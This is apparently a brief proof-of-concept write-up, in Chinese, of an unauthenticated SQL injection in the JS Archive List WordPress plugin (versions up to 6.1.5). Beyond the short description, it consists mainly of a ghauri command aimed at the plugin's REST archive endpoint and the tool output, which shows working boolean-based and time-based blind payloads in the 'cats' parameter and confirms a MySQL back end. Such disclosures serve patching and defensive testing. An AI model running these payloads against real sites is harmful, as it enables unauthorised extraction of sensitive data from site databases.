JS Archive List <= 6.1.5 - 未认证 SQL 注入
JS Archive List WordPress 插件在所有版本(包括 6.1.5)中均存在 SQL 注入漏洞,原因是用户提供的参数转义不足,且对现有 SQL 查询缺乏充分的预处理准备。这使得未认证攻击者能够将额外的 SQL 查询附加到已有查询中,从而从数据库中提取敏感信息。
ghauri -u "http://localhost/wp-json/jalw/v1/archive?cats=1&exclusionType=exclude"
________.__ .__ {1.4.1}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 16:39:05 /2025-09-25/
[16:39:05] [INFO] testing connection to the target URL
Ghauri resumed the following injection point(s) from stored session:
---
Parameter: cats (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cats=1 AND 01609=1609&exclusionType=exclude
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: cats=if(now()=sysdate(),SLEEP(5),0)&exclusionType=exclude
---
[16:39:05] [INFO] testing MySQL
[16:39:05] [INFO] confirming MySQL
[16:39:06] [INFO] the back-end DBMS is MySQL